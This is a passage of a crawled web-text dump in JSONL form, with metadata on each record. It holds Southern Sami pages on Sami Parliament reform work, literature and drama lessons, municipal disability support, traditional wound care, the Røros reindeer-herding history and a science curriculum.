gegkestem daate akte onne aalkoe akten jieliehtæmman jïh vuesiehtæmman skoltesaemien gïeleste aaj nöörjen bielesne dehtie aerpievuekien skoltesaemien dajveste.\nTjåanghkoeåvtehke;\nDaelie stoerretjåanghkoe edtja regijovnereformem gïetedidh, mij sæjhta saemien gïelem, saemien kultuvrem jïh saemien siebriedahkejieledem tsevtsedh tïjjen åvtese. Daate aamhtese gellie haestemh åtna mah hijven raerieh kreava, jïh mijjieh vïenhtebe vihkeles fokusem utnedh guktie daate reforme sæjhta saemien ïedtjh gïetedidh, guktie mijjieh maehtebe hijven sjiehteles raeriejgujmie båetedh dan buaratjommesasse saemien siebriedahkese. Mijjieh vuejnebe regijovnereforme gaskem jeatjah sæjhta reeremem mijjen laanteste jïh vierhtijste tsevtsedh gosse lea eeke- jïh åtnoereaktan bïjre. Aaj vihkeles jïh daerpies måjhtajehtedh Saemiedigkie, goh saemien almetjeveeljeme årgaane, edtja aktem vihkeles råållam utnedh laavenjostosne dovne staatine jïh fylhkentjïeltigujmie siebriedahkeevtiedimmien bïjre.\nTjåanghkoeåvtehke;\nDaejnie manne leam saemiedigkieraerien reektestimmiem barkoen bïjre åehpiedahteme. Gæjhtoe mov åvteste.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkiepresidenten-reektestimmie-saemiedigkieraerien-barkoen-bijre","date":"2019-01-20T06:54:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00118.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":1222,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse jiehtegem saemien lidteratuvre govlh, maam dellie ussjedh? Lidteratuvre dovne njaalmeldh jïh tjaaleldh tjaalegh. Tjaalegh guktie romaanh, dikth, soptsesh, aamhtese-provsa, heamturh, laavlomh, joejkeme-teeksth jnv.\nTjiehpies-lidteratuvre\nJiehtege tjiehpies-lidteratuvre båata dehtie fraansken jiehtiegistie «belles-lettres» jïh daate lidteratuvre edtja estetihke dååjresem lohkijasse vedtedh. Men man bïjre tjiehpies-lidteratuvre? Gosse tjaelije tjiehpieslidteræære-tjaalegh tjaala dellie maahta fantasijem nuhtjedh. Ij daarpesjh tjaeledh mij heannadamme, men maahta ajve soptsesem hæhtadidh. Gosse tjaelije lea soptsesem hæhtadamme, ibie dellie sïjhth dam lohkedh? Mijjieh gujht sïjhtebe læjhkan soptsesem lohkedh, dan åvtese mijjieh joe guarkeme tjaelije lea soptsesem hæhtadamme. Men læjhkan gosse mijjieh lohkebe dellie maehtebe goh soptsesen sïjse jieledh. Jïh dle maehtebe guarkedh guktie persovnh soptsesisnie dåemiedieh jïh maehtebe aaj heannadimmieh guarkedh, jalts mijjieh daejrebe soptsese ij leah saatnan.\nMij saemien tjiehpies-lidteratuvre?\nGuktie edtjebe bïhkedidh mij saemien tjiehpies-lidteratuvre? Gaajhkem maam saemien tjiehpies-lidteratuvren tjaelijh tjaelieh tjiehpies-lidteratuvre?\nTjiehpies-lidteratuvre edtja mijjem faepieldidh jïh dååjrehtimmieh mijjese vedtedh, men aaj edtja goerkesem jïh daajroem vedtedh – ånnetji jeatjhlaakan enn aamhtese-prosa. Tjiehpies-lidteratuvren tjaalegh maehtieh aaj mijjem maam akt lïeredh. Jïh tjaalegi tjïrrh maehtebe mijjen jallh jeatjebh almetji åssjaldahkh jïh dååjresh åahpenidh. Tjiehpies-lidteratuvre maahta siebriedahkem laejhtedh jïh mijjen vuajnoeh tsevtsedh.\nGærjesne «Nu gárvvis girdilit» dotkije Harald Gaski tjaala tjiehpies-lidteratuvre edtja nasjonaale domtesh lohkijidie vedtedh, siebriedahken speejjelinie årrodh jïh lohkije edtja lïeredh guktie saemieh ussjedeminie. Maam vïenhth Harald Gaski meala? Guktie lidteratuvrh maehtieh siebriedahken speejjelinie årrodh? Dov mïelen mietie tjiehpies-lidteratuvre vihkeles? Jallh ajve maam akt mijjieh nuhtjebe gosse edtjebe eejehtidh?\nSaemien lidteratuvre golme boelhkine juakeme learoe-soejkesisnie. Dah golme boelhkh:\n- boelhken 1995 raejeste\n- boelhken 1965 åvtelen\n- boelhken gaskem 1965 - 1995\n- Kjernestoff\nDaennie teemesne åadtjoeh saemien lidteratuvri bïjre lïeredh boelhkeste 1965 åvtelen.\n- Kjernestoff\nDaennie teemesne åadtjoeh lidteratuvrgujmie barkedh boelhken 1995 mænngan.\n- Kjernestoff\nAarvoeh tjaalegisnie mijjese soptsestieh maam tjaelije tuhtji vihkele goh tjaalegem tjeeli.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089","date":"2019-04-22T15:16:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00399.warc.gz","language":"sma","language_score":0.9999853373,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999853372573853}","num_words":275,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe jïh såjhtoe svihtjeme-heaptojidie\nStöd och omsorg till personer med funktionsnedsättning\nDatne gien lea svihtjeme-heaptoje mestie geerve dov beajjetjen jielemem buektehth maahtah dåarjoem sosiaaletjeanadimmeste ohtsedidh. Gosse viehkiem ohtsedh dellie pryövemem dorje gosse sosiaaletjeanadimmie nænnoste jis dov lea reakta viehkiem jallh ij. Datne maahtah dååpmestovlese laejhtedh jis dåarjoem ohtsedih jïh idtji dam åadtjoeh.\nSosiaaletjenadimmien dåastovem bieljeldh telefovne 090-16 10 02.\nViehkiem jis daarpesjh maahtah g.j. årrodh:\n- Viehkie gåetesne jallh persovnijen viehkiem dovne praktijhkeles aatide jïh persovnijen såjhtoe\n- Gaskesadtijealmetjem jis sosiaalen gaskesadtijh daarpesjh\n- Dåeriedimmiehoksehtimmie naaken datnem dåerede darjomh gåetien ålkoelisnie\n- Viehkiem gåetesne jallh boelhketjeårromesijjesne jis datnem lihkemes fuelhkieh sujhtedh\n- Årromesijjie sjïere årromesijjesne datnese gie jeenje dåarjoem jïh viehkiem daarpesjh jïh dutnjien geerve gåetesne årrodh\n- Nosselimmieh jïh darjomh biejjegen\n- Viehkie jearsoes gåetesne damtedh larmen tjïrrh juktie viehkiem åadtjoeh jis daarpesjh.\nJeenjebh bïevnesh\nSosiaaletjenadimmien dåastovem bieljeldh telefovne 090-16 10 02.\nSidan har granskats 2009-09-29","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/daarjoejihsajhtoesvihtjemeheaptojidie.4.2aeb902411d30c9e460800061544.html","date":"2019-04-21T08:34:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578530505.30\/warc\/CC-MAIN-20190421080255-20190421102255-00215.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":133,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege lea voestes biehkie tjaalegistie Ånnetji saejrieh jïh vertemen bïjre maam Jonar Thomasson tjaaleme. Tjaalegisnie Jonar soptseste guktie saemieh dejpeli dåemiedin gosse lin irhkesjamme, tjoehpedamme.\nÅnnetji saejrieh jïh vertemen bïjre\nGaajhkh almetjh lin tjoereme bearkadidh dejnie mejnie lin gïeten sisnie åtneme, numhtie leah orreme gaajhkh beeli. Jïh numhtie lea aaj dïhte saemien jieleme jïh kultuvre sjïdteme guktie lea sjïdteme.\nManne sïjhtem daelie ånnetji tjaeledh maam leam govleme guktie saemieh dejpeli dåemiedin gosse lin irhkesjamme, tjoehpedamme. Manne åtnam eah sih daelie man gallesh mah man jïjnjem dan bïjre daejrieh, men såemies sih maam akth annje daejrieh. Men hijven hov maehtiejibie gærjine lohkedh mah lin tjaaleme dan bïjre, dah mah lin saemide gutneme jïh goerehtalleme guktie saemieh provhkin darjodh gosse lin skïemtjijamme, irhkesjamme, gosse vaejviem utnin jïh guktie saejriejgujmie dåemiedin. Ij leah gaajhke gaarvanamme.\nManne måjhtam maana-baeleste, goh mijjieh åerpienadtjh limh aahkan bealesne. Aahkan nomme lij Maria Marsfjell. Dïhte mijjide maanide jïjnjem bïhkedi guktie saemieh provhkin darjodh jïh guktie saemien vuekie lij. Daelie aavojne maahtam måjhtajidh, men daelie man leam jïjnjem åajaldahteme.\nManne måjhtijem gosse mijjieh limh tjoehpedamme dellie aahka provhki mijjide jiehtedh luvhtimh saejrese ånnetji lædtjkoedidh edtja raajnes sjïdtedh. Ikth goh lim soermem tjoehpedamme dellie aahka njohkh ohtsedi jïh saejrese badtjadi, tsoedtsem dueljeste gajhkoeji jïh dle dam gïebredi soermen bïjre jïh die mejnie aktine gårredi, men mij dïhte lij dam im mujhtieh. Ij sån lih dellie ovdaerpies njohkh jïh tsoedtsh provhkedh, men aahka sån tuhtji luste vuesiehtidh guktie aerebi provhkin darjodh.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\n- Kjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:192269","date":"2019-04-22T15:20:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00437.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":302,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesematerijelle\nBïevnesematerijelle\nDaesnie prosjekte Aldring og helse materijellem bæjhkohte goh reektehtsh, gærjah jïh gærjetjh saemien jïh nöörjen gïelesne, jïh mah maehtieh sjyöhtehke dïrregh årrodh demensehoksesne stuvreme saemien årroji vööste.\nVedtieh maaje tipsem materijellen bïjre mah leah evtiesovveme desnie gusnie datne barkh mejtie maehtebe vuarjasjidh daennie sæjrosne juekedh.\nDemeansaplána 2020 (Nordsamisk)\nDemensplan 2020 (Norsk)\nFra kyst til vidde – samisk mat på institusjon (Grønmo, K. & Grønmo, E. 2004) (Nordsamisk)\nSáme biebbmo vuorrasijda\/Samisk mat for eldre (Demensforeningen i Tysfjord, 2011) (Lulesamisk)\nKulturtilpasset åndelig omsorg ved livets slutt (Nordsamisk\/Norsk)\nMátkeloahpa ovddasmoraš\/Omsorg ved livets slutt (Nordsamisk\/Norsk)\nEtihkka reflekšuvdnakoarttat\/Etiske refleksjonskort (Nordsamisk\/Norsk)","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.aldringoghelse.no\/demens\/samisk\/aarjelsaemien\/b%C3%AFevnesematerijelle\/","date":"2019-04-25T18:40:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578732961.78\/warc\/CC-MAIN-20190425173951-20190425195951-00477.warc.gz","language":"sma","language_score":0.9474813342,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9474813342094421, \"sme_Latn_score\": 0.051117151975631714}","num_words":91,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fievrrut Fievro Vuajastahkh\ngirjje hiehpá mánájda álggoåhpadusán, valla girjje hiehpá aj mánájda gudi giela hárráj li máŋŋunam. juohkka gåvvåj li bágo tjáledum nuortta-, julev-, ja oarjjelsábmáj ja viehkkegiellaj. Dát dahká nav vaj máná vuojnni miján li moadda giela.\nviehkkegiella-gåvå galggi låhkkev arvusmahttet dájt anátjit gå girjev låhki.\nFievrrut Fievro Vuajastahkh\nlea akte gærja mij lea maanide aalkoe- lïerehtimmesne sjïehtedamme, men daate gærja aaj maanide sjeahta mah leah seejnes sijjen gïelen evtiedimmesne. Fïerhten gåvvan baakoe tjaalasovveme noerhte- julev-, åarjelsaemien gïelesne jïh væhta soptsestæmman. Dan åvteste dle aaj maanah sijhtieh vueptiestidh mijjen jienebh gïelh.\nDah væhta-soptsestæmman-guvvieh edtjieh lohkijidie skreejredh dejtie nuhtjedh gosse gærjam luhkieh.\nFievrrut Fievro Vuajastahkh","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/shop.davvi.no\/laeremidler\/lydbok-lm\/fievrrut-fievro-vuajastahkh.html","date":"2019-05-21T10:52:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256314.52\/warc\/CC-MAIN-20190521102417-20190521124417-00436.warc.gz","language":"sma","language_score":0.7919131517,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.7919131517410278, \"smj_Latn_score\": 0.20323632657527924}","num_words":105,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.811,"perplexity_score":500.0,"cluster_detection":1} +{"text":"JUHTIJEALMETJIJSTIE ARRAHALMETJIDIE\n\"LAPPENE BURDE SNAREST RÅD OPPGI SITT NOMADELIV OG SLÅ INN PÅ HÅNDTVERK ELLER ANNET FAST ARBEIDE\"\nLappefogd Brede og Hjalmar Bull i 1908, Ref. i Kaare G. Rogstad, Streif i sør-samenes saga, 1980\nBovtse lij våarome saemiefuelhkiej jieledevuakan. Fuelhkie bovtsem dåeriedi jaepieboelhki gåatomi gaskem, jïh gåatome nænnoesti gusnie saemieh årromesijjide tseegkin. Bovtse beapmoem jïh navradahkh vedti. Jaepiej 1910–1935 saemiefuelhkieh Rørosen dajvesne eelkin arrahalmetjinie årrodh abpe jaepien. Dan gaavhtan stoerre jarkelimmieh sjïdtin Røros-saemien årroejidie dovne jieledevuekien, sosijaale ektiedimmiej, gïelen, materijelle kultuvren jïh jielemen bïjre.\nJUHTIJEALMETJIJSTIE ARRAHALMETJIDIE\nDej voestes jaepiej raajan 1900-låhkoen saemieh Røros-saemien dajvesne lin juhtijealmetjh mah bovtsem dåeriedin abpe jaepien dej ovmessie gåatomedajvi gaskem. Fuelhkieh bååstede böötin dejtie seamma årromesijjide jïh gåatomedajvide fierhten jaepien, dan gåhkese gåatome bovtsese dam baaji. Bovtse åtnasovvi goh gieseme- jïh tjimkemeråantjojne, jïh bearkoem jïh mielhkiem vedti, jïh aaj ïebnh vaarjojde, gaamegidie jïh dïrregidie. Naemhtie saemiefuelhkieh jïjtjh bearkadin. Göökte – njieljie fuelhkieh meehtin ektesne årrodh juktie sinsitniem ryöjnesjimmine jïh buhtjieminie viehkiehtidh.\n1900-låhkoe doekoe saemien jieledevuekie jorkesi. Jarkelimmieh stoerre konsekvensh vedti siebriedahkese jïh sosijaale jieliedasse. Akte joekoen stoerre jarkelimmie sjïdti gosse orriji aaltojde buhtjedh, jïh stuerebe leavloem bïejin doekemesbearkose. Giehpiedimmie bovtsen gåatomelaanteste jïh beetnegedaerpiesvoete juktie maehtedh maaksoeh maeksedh dej skaaraj åvteste maam bovtse lij dorjeme lij akte fåantoe.\nAkte jeatjah stoerre jarkelimmie lij båatsoefuelhkieh arrahalmetjinie sjïdtin. Naakenh gaertenh ööstin bijjene vaeresne mejnie nyjsenæjjah, maanah jïh voeres almetjh gïehtelin, ryöjnesjæjjah lin krievvesne guhkede fuelhkien årromesijjeste, jïh barkosne bovtsigujmie stuerebe krïevenassh sjïdti dan fysiske vissjelesvoetese. Ryöjnesjimmie dan åvteste mij akt sjïdti mejnie gaarmanæjjah gïehtelin, jïh dah lin bovtsi luvnie guhkies boelhkine.\nJienebh dejstie vuesiehtamme daevierijstie leah ektiedamme juhtijealmetji jieledevuakan. Gosse eelkin arrahalmetjinie årrodh dle orrijin aaltojde buhtjedh jïh daeverh idtjin vielie åtnasovvh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/rorosmuseet.no\/juhtijealmetjijstie-arrahalmetjidie","date":"2020-05-28T03:59:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347396495.25\/warc\/CC-MAIN-20200528030851-20200528060851-00461.warc.gz","language":"sma","language_score":0.9999431372,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999431371688843}","num_words":271,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draaman tjaalege lea manuskripte mij teatere-vuesiehtimmien våarome. Manuskripten göökte bielieh, åejvie-teekste jïh bielie-teekste. Åejvie-teekstesne tjaaleme mah dorjehtæjjah jiehtieh jïh bielie-teekstesne scena- jïh regije-buerkiestimmieh.\nRaahkele-Pïere\nVuesiehtimmie dorjehtimmeste Raahkele-Pïere maam Albert Jåma tjaaleme.\n1. Boelhke:\n1. Scena:\nSoptsestæjja: Gïetine saevehte jïh jeahta:\nDaate vuesiehtimmie ålvas guhkede dovletjistie. Dehtie aejkeste gåessie saemieh vïenhtin sijjieh oktegh Saemie-eatnamisnie veasoeminie.\nNaakenh saemijste låavthgåetien sisnie, jïh naakenh bïjre jarkan ostedalleminie. Joejkeminie lustestalleminie. Raeffie lij. Maanah stååkedeminie.Akte nyjsenæjja joejkeminie hearlohke Saemie-eatnemen bïjre.\nNyjsenæjja:\nVuemieh dïeves vijrijste\nnaa, naa…\njohkh dïeves loesijste\nnaa, naa…\nstööhtjiste veljije\nnaa, naa…\ngedtiste veljije\nnaa, naa…\nbovtseste aaj\nnaa, naa…\nDialoge jïh monologe\nDraaman åejvie-teekste aaj draama-dialogem gohtjesåvva juktie daesnie göökte jallh gellie almetjh soptsestellieh. Jis ajve akte råålla-gaagkoe soptseste, dellie dïhte monologe.\nScena-buerkiestimmieh\nScena-buerkiestimmieh bielie-teekstesne vihkeles bïevnesh mijjese vedtieh gusnie jïh gåessie mij akt heannede, jïh guktie scene vååjnoe. Naan draamah eah bielie-teeksth utnieh jïh dellie regisööre åådtje nænnoestidh guktie edtja årrodh. Jeatjah draamah guhkies bielie-teeksth utnieh gusnie jïjnjh buerkiestimmieh.\nRegissööre nænnoste\nRegissööre nænnoste jis sæjhta buerkiestimmide vihtiestidh jïh guktie edtja dejtie toelhkestidh.\nBaakoeh\n|Saemien||Daaroen|\n|åejvie-teekste||hovedtekst|\n|bielie-teekste||sidetekst|\n|scena-buerkiestimmie||sceneforklaring|\n|råålla-gaagkoe||rollefigur|\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173896","date":"2020-07-06T06:55:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655890105.39\/warc\/CC-MAIN-20200706042111-20200706072111-00353.warc.gz","language":"sma","language_score":0.9999463558,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999463558197021}","num_words":177,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne datne åadtjoeh sjangeri bïjre lïeredh. Sjangere-daajroe vihkeles dutjien gosse edtjh tjaeledh.\nDaennie teemesne datne åadtjoeh sjangeri bïjre lïeredh. Sjangere-daajroe vihkeles dutjien gosse edtjh tjaeledh.\nFïerhten aejkien gosse datne edtjh maam akt jiehtedh, soptsestidh jallh tjaeledh, dellie tjoerh veeljedh guktie edtjh dam darjodh.\nDaesnie maahtah lohkedh mij govlesadteme lea. Guktie mijjieh maehtebe mubpiejgujmie govlesadtedh jïh mejnie maehtebe govlesadtedh ovmessie tsiehkine.\nArgumenteradidh lea mubpide tsevtsedh. Lïerh vielie dan bïjre daennie teemesne.\nFïerhten biejjien mijjieh tjaalegh lohkebe, jïh jeenemes aamhtese-tjaalegh. Lïerh vielie aamhtese-tjaalegi bïjre daennie teemesne.\nMij ektie-bïejeme tjaalegh? Lïerh vielie daan bïjre daennie teemesne.\nMan jïnjem novella jïh soptsesi bïjre daajrah? Lïerh vielie daan bïjre daennie teemesne.\nSoptsese mij dïhte? Ij iktegisth aelhkie daejredh jis akte tjaalege lea soptsese, vaajese, heamturh jnv.\nDaennie teemesne datne åadtjoeh draaman bïjre lïeredh\nDaennie teemesne datne åadtjoeh lyrihken bïjre lohkedh. Datne maahtah faage-tjaalegem lyrihken bïjre lohkedh, dikth jïh dikt-analysem lohkedh jïh laavenjassh darjodh.\nSaemien lidteratuvre dovne njaalmeldh jïh tjaaleldh tjaalegh. Daennie teemesne vielie saemien lidteratuvren bïjre lïerh.\nDaennie teemesne datne åadtjoeh åarjelsaemien tjaeleme-histovrijinie barkedh.\nDaennie teemesne åadtjoeh aerpievuekien daajroen jïh jieliemi bïjre lïeredh.\nSkuvlesne laavenjassh åadtjobe gusnie tjoerebe åehpiedehtedh. Daennie teemesne dan bïjre lïerh.\nDaennie teemesne datne åadtjoeh retorihkine barkedh.\nDatne dov tjaaleldh govlesadtemem evtiesovvh gosse ovmessie sjangerigujmie barkh.\nMinngemes aejkien mijjieh jiene-jienebe filmh åådtjeme mejtie saemieh dorjeme. Daennie teemesne filmi bïjre lïerh.\nDaennie teemesne åadtjoeh gïelen bïjre lïeredh. Guktie mijjen gïele bigkeme, jïh guktie maehtebe tjaeledh.\nDaennie sæjrosne raerieh guktie maahtah gaaltijh nuhtjedh nuhteligs vuekine.\nSaemien voestesgïeline learohke edtja gïelemaahtoem evtiedidh sov maehtelesvoeti jïh nuepiej mietie dovne njaalmeldh jïh tjaaleldh gïelesne. Faage edtja lohkeme- jïh tjaelemelastoem skreejredh, jïh viehkiehtidh hijven lïerehtimmievuekieh evtiedidh.\nHold deg oppdatert. Abonner på siste nytt fra NDLA.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/","date":"2020-09-24T22:19:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400220495.39\/warc\/CC-MAIN-20200924194925-20200924224925-00080.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":278,"character_repetition_ratio":0.133,"word_repetition_ratio":0.03,"special_characters_ratio":0.143,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\nDotkijassaMål for opplæringen er at eleven skal kunne\n- soejkesjidh jïh tjirrehtidh ovmessie såarhts goerehtimmieh juktie damtijidh variabelh, veedtjedh jïh gïetedidh daatah jïh reektehtsem tjaeledh gusnie digkede jueriem möölehtimmeste jïh vuarjasjidh mejtie fiejliegaaltijh\n- illedahkh jïh jiehtegi gaskem juekedh jïh kvaliteetem digkiedidh jïjtse jïh mubpiej vuekine jïh jïjtse jïh mubpiej daatine jïh toelhkestimmine\n- digkiedidh eatnemefaageles dåeriesmoerh mah leah sjyöhtehke daan biejjien mah våaromem utnieh praktihkeles goerehtimmine jallh systematiseradamme bïevnesh ovmessie gaaltijijstie\n- aelhkie daatasimuleradimmieh jallh animasjovnh nuhtjedh juktie vuesiehtidh jïh buerkiestidh eatnemefaageles fenomenh, jïh hypoteesh teestadidh\n- joekehts jïh hedtieh digkiedidh guktie aerpievuekien daajroe jïh daejremen daajroe eatnemen bïjre tseegkesåvva jïh guhkiebasse soptsesuvvieh\nMonnehke evtiedimmieMål for opplæringen er at eleven skal kunne\n- buerkiestidh dïejvesem monnehke evtiedimmie\n- suksesjovneprosessh aktene ekosystemesne goerehtidh jïh buerkiestidh\n- faktovrh buerkiestidh mah illedahkh vedtieh akten populasjovnen stoeredahkese, jïh vuesiehtimmieh vedtedh mah jarkelimmieh orreme flora'sne jïh fauna'sne noerhtedajvine\n- goerehtalledh mah vaaroeh jïjtje veeljie jïh faageles jïh etihkeles argumenteradidh dej veeljemi bïjre mah maehtieh viehkiehtidh aktine monnehke åtnoemaalline\n- suksesjovneprosessh aktene ekosystemesne goerehtidh jïh buerkiestidh\nBeapmoe jïh healsoeMål for opplæringen er at eleven skal kunne\n- buerkiestidh dah vihkielommes energijevedtije fearoe-aamhth, dej kjemiske væhtah jïh buerkiestidh man åvteste dah vihkeles kråahpese\n- vuesiehtimmieh vedtedh mah vitamijnh, mineraalh jïh sporstoff kråahpe daarpesje, jïh guktie maahta aktem jeereldihkie beapmoevuekiem hoksedh\n- aelhkie kjemiske voejhkelimmieh darjodh juktie fearoe-aamhth vuesiehtidh beapmojne, jïh buerkiestidh maam vïhtesjamme\n- åejviebiehkide buerkiestidh beapmoesjalkemen (fordøyelse), transporten jïh jeatjahtehtemen bïjre energijevedtije fearoe-aamhtijste kråahpesne\n- såemies åejviebielieh buerkiestidh kosmetiske dorjesinie jïh aktem dagkeres dorjesem darjodh jïjtse vaaroedeklarasjovnine\n- digkiedidh gyhtjelassh seagkanimmien, byöpmedimssturremen jïh saavremen bïjre, jïh guktie jieledevuekie healsoem tsevtsie\nBioteknologijeMål for opplæringen er at eleven skal kunne\n- dïejvesem genetisk kode buerkiestidh, jïh åejviebiehkide proteinsyntesesne buerkiestidh jïh vuesiehtimmieh vedtedh guktie aerpie jïh byjrese ektesne spielieh\n- dïejvesidie kroessedimmie jïh genmodifisering buerkiestidh, jïh vuesiehtimmieh vedtedh guktie bioteknologije åtnasåvva juktie jïjtsevoeth modifiseradidh sjædtoej jïh kreeki luvnie\n- bijjieguvviem vedtedh ovmessie såarhts medisijnen åtnoen bïjre bioteknologijeste, jïh nuepieh jïh haestemh digkiedidh dagkarinie åtnosne\n- argumenth viertiestidh bioteknoligije-åtnoen bïjre, jïh faageles jïh etihkeles dåeriesmoerh digkiedidh dej bïjre\nGoekedimmie jïh radioaktiviteeteMål for opplæringen er at eleven skal kunne\n- buerkiestidh guktie goeksege sjædta jïh vuesiehtimmieh vedtedh guktie Nöörje lea orreme jïh lea akte vihkeles laante goerehtimmesne daennie suerkesne\n- ozon-skierien ulmiem buerkiestidh goekedæmman biejjeste\n- buerkiestidh mij drivhuseffekte lea, jïh buerkiestidh guktie almetji darjomh energijebalansem jarkelieh atmosfææresne\n- buerkiestidh naan seapan konsekvensh lissiehtamme drivhuseffekteste arktihken jïh vueliehkåbpoe dajvine, jïh aktem sjyöhtehke klijmaråajvarimmiem digkiedidh\n- voejhkelimmieh tjirrehtidh radioaktiviteetine, bieliedimmietïjjine jïh duekiegoekedimmine, fenomenide buerkiestidh jïh aelhkie aerviedimmieh darjodh\n- væhtah buerkiestidh ovmessie såarhts ioniserende goekedimmine, jïh 